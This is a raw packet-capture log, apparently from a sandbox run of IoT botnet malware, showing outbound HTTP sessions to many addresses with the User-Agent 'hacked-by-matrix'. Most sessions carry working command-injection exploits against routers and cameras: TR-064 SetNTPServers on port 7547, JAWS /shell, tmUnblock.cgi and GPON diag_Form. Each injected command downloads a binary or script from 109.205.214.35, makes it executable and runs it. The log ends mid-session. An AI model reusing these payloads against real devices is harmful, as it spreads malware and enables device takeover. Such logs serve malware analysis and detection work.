Mar 21, 2024 05:23:10.779918909 CET	722	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1043	192.168.2.14	44830	66.108.30.188	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:07.648435116 CET	259	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:23:07.767627001 CET	500	IN	HTTP/1.0 400 Bad Request Content-Type: text/html Content-Length: 349 Connection: close Date: Thu, 21 Mar 2024 04:23:08 GMT Server: HTTP Server Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 69 73 6f 2d 38 38 35 39 2d 31 22 3f 3e 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 0a 20 20 20 20 20 20 20 20 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 74 72 61 6e 73 69 74 69 6f 6e 61 6c 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 20 3c 68 65 61 64 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 30 20 2d 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 20 3c 2f 68 65 61 64 3e 0a 20 3c 62 6f 64 79 3e 0a 20 20 3c 68 31 3e 34 30 30 20 2d 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 20 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <?xml version="1.0" encoding="iso-8859-1"?><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <title>400 - Bad Request</title> </head> <body> <h1>400 - Bad Request</h1> </body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1044	192.168.2.14	47030	162.241.142.227	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:07.667723894 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:23:07.778456926 CET	1286	IN	HTTP/1.1 400 Bad Request Date: Thu, 21 Mar 2024 04:23:06 GMT Server: Apache Accept-Ranges: bytes Cache-Control: no-cache, no-store, must-revalidate Pragma: no-cache Expires: 0 Connection: close Content-Type: text/html Data Raw: 0a 0a 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 20 20 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 61 63 68 65 2d 63 6f 6e 74 72 6f 6c 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 63 61 63 68 65 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 50 72 61 67 6d 61 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 63 61 63 68 65 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 45 78 70 69 72 65 73 22 20 63 6f 6e 74 65 6e 74 3d 22 30 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 20 20 20 20 20 20 20 20 62 6f 64 79 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 34 70 78 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 31 2e 34 32 38 35 37 31 34 32 39 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 66 66 66 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 32 46 33 32 33 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 73 65 63 74 69 6f 6e 2c 20 66 6f 6f 74 65 72 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 64 69 73 70 6c 61 79 3a 20 62 6c 6f 63 6b 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 63 6f 6e 74 61 69 6e 65 72 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 61 75 74 6f 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 20 61 75 74 6f 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 20 31 30 70 78 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 72 65 73 70 6f 6e 73 65 2d 69 6e 66 6f 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 43 43 43 43 43 43 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 73 74 61 74 75 73 2d 63 6f 64 65 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 35 30 30 25 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 73 74 61 74 75 73 2d 72 65 61 73 6f 6e 20 7b 0a 20 20 Data Ascii: <!DOCTYPE html><html> <head> <meta http-equiv="Content-type" content="text/html; charset=utf-8"> <meta http-equiv="Cache-control" content="no-cache"> <meta http-equiv="Pragma" content="no-cache"> <meta http-equiv="Expires" content="0"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>400 Bad Request</title> <style type="text/css"> body { font-family: Arial, Helvetica, sans-serif; font-size: 14px; line-height: 1.428571429; background-color: #ffffff; color: #2F3230; padding: 0; margin: 0; } section, footer { display: block; padding: 0; margin: 0; } .container { margin-left: auto; margin-right: auto; padding: 0 10px; } .response-info { color: #CCCCCC; } .status-code { font-size: 500%; } .status-reason {
Mar 21, 2024 05:23:07.778470993 CET	1286	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 32 35 30 25 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 64 69 73 70 6c 61 79 3a 20 62 6c 6f 63 6b 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 63 6f 6e 74 61 63 74 2d Data Ascii: font-size: 250%; display: block; } .contact-info, .reason-text { color: #000000; } .additional-info { background-repeat: no-repeat; background-co
Mar 21, 2024 05:23:07.778521061 CET	1286	IN	Data Raw: 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 62 6f 6c 64 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 6c 65 66 74 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 77 6f 72 64 2d 62 72 Data Ascii: { font-weight: bold; text-align: left; word-break: break-all; width: 100%; } .info-server address { text-align: left; } footer { text-align
Mar 21, 2024 05:23:07.778536081 CET	1286	IN	Data Raw: 20 7d 0a 20 20 20 20 20 20 20 20 20 20 20 20 2e 69 6e 66 6f 2d 68 65 61 64 69 6e 67 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 36 32 70 78 20 30 20 30 20 39 38 70 78 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: } .info-heading { margin: 62px 0 0 98px; } .info-server address { text-align: left; position: absolute; right: 0; bottom: 0;
Mar 21, 2024 05:23:07.778548002 CET	1286	IN	Data Raw: 62 47 42 74 71 52 46 52 58 6f 36 2b 30 5a 35 59 51 68 35 4c 48 64 39 59 47 57 4f 73 46 2b 39 49 73 35 6f 51 58 63 74 5a 4b 62 76 64 41 41 74 62 48 48 4d 38 2b 47 4c 66 6f 6a 57 64 49 67 50 66 66 37 59 69 66 52 54 4e 69 5a 6d 75 73 57 2b 77 38 66 Data Ascii: bGBtqRFRXo6+0Z5YQh5LHd9YGWOsF+9Is5oQXctZKbvdAAtbHHM8+GLfojWdIgPff7YifRTNiZmusW+w8fDj1xdevNnbU3VFfTEL/W33pfH31cGYBpgW9Lba3Ic8C8iA77NLe514vu8BPj6/n3lCd/VkgKXGkwYUQHAaM+yQunBmNSwbRVYh+kOcgMhvRDB1Md20YfiR+UFfvdIizp2v1vVjt0usa1pmNzAX2IFl5/xaE9aqQGS
Mar 21, 2024 05:23:07.778578043 CET	1286	IN	Data Raw: 35 55 33 77 4d 78 69 6f 69 45 72 52 6d 32 6e 75 68 64 38 51 52 43 41 38 49 77 54 52 41 57 31 4f 37 50 41 73 62 74 43 50 79 4d 4d 67 4a 70 2b 31 2f 49 61 78 71 47 41 52 7a 72 46 74 74 70 68 55 52 2b 4d 76 45 50 53 78 2b 36 6d 2f 70 43 78 45 69 33 Data Ascii: 5U3wMxioiErRm2nuhd8QRCA8IwTRAW1O7PAsbtCPyMMgJp+1/IaxqGARzrFttphUR+MvEPSx+6m/pCxEi3Y7p485ESAVmuldvzSTKw2fqHSGM5hBW1IUI0f/LdONtEUKXGC95jK+Rg4QBVwNmlePZVjTxuo24kWMrQHg/nZzxDqmqFRFC799+dbEirMoVEXhVA07Y+GWNMOBCxIIpCgCpAX5KgHB6IQILHwE3HXk2XQVszdSkGE
Mar 21, 2024 05:23:07.778611898 CET	1096	IN	Data Raw: 4c 57 6b 51 38 77 6f 42 4b 79 52 2b 2b 64 55 54 73 75 45 4b 2b 4c 38 70 32 42 44 34 66 47 64 73 66 71 68 78 47 51 54 51 5a 6c 75 48 55 4c 58 72 52 73 55 46 66 42 45 30 4f 67 7a 49 6c 72 61 52 38 76 6b 77 36 71 6e 58 6d 75 44 53 46 38 52 67 53 38 Data Ascii: LWkQ8woBKyR++dUTsuEK+L8p2BD4fGdsfqhxGQTQZluHULXrRsUFfBE0OgzIlraR8vkw6qnXmuDSF8RgS8th+d+phci8FJf1fwapi44rFpfqTZAnW+JFRG3kf94Z+sSqdR1UIiI/dc/B6N/M9WsiADO00A3QU0hohX5RTdeCrstyT1WphURTBevBaV4iwYJGGctRDC1FsGaQ3RtGFfL4os34g6T+AkAT84bs0fX2weS88X7X6hX
Mar 21, 2024 05:23:07.778881073 CET	1286	IN	Data Raw: 34 30 30 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 73 74 61 74 75 73 2d 72 65 61 73 6f 6e 22 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 20 20 Data Ascii: 400</span> <span class="status-reason">Bad Request</span> </section> <section class="contact-info"> Please forward this error screen to cct.cctvddns.net's <a href="mailto:adiaz@visiotech
Mar 21, 2024 05:23:07.778892994 CET	370	IN	Data Raw: 26 75 74 6d 5f 6d 65 64 69 75 6d 3d 63 70 6c 6f 67 6f 26 75 74 6d 5f 63 6f 6e 74 65 6e 74 3d 6c 6f 67 6f 6c 69 6e 6b 26 75 74 6d 5f 63 61 6d 70 61 69 67 6e 3d 34 30 30 72 65 66 65 72 72 61 6c 22 20 74 61 72 67 65 74 3d 22 63 70 61 6e 65 6c 22 20 Data Ascii: &utm_medium=cplogo&utm_content=logolink&utm_campaign=400referral" target="cpanel" title="cPanel, Inc."> <img src="/img-sys/powered_by_cpanel.svg" height="20" alt="cPanel, Inc." /> <div class="copyright">

Session ID	Source IP	Source Port	Destination IP	Destination Port
1045	192.168.2.14	43812	5.201.206.32	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:07.884532928 CET	722	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:23:08.636063099 CET	722	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:23:10.143961906 CET	722	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:23:13.339813948 CET	722	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1046	192.168.2.14	54594	77.23.144.88	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:07.956262112 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:23:08.928078890 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:23:10.079953909 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:23:10.268016100 CET	307	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Thu, 21 Mar 2024 04:23:10 GMT Content-Type: text/html Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1047	192.168.2.14	33236	115.10.129.202	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:08.034787893 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1048	192.168.2.14	37680	172.66.192.112	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:08.322328091 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1049	192.168.2.14	33260	115.10.129.202	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:08.322551012 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1050	192.168.2.14	41378	109.145.182.46	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:08.501189947 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1051	192.168.2.14	47296	5.84.102.206	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:08.501230955 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1052	192.168.2.14	51980	94.125.75.51	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:08.501259089 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1053	192.168.2.14	38544	79.190.142.253	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:08.501286030 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1054	192.168.2.14	43570	42.235.220.142	443

Timestamp	Bytes transferred	Direction	Data
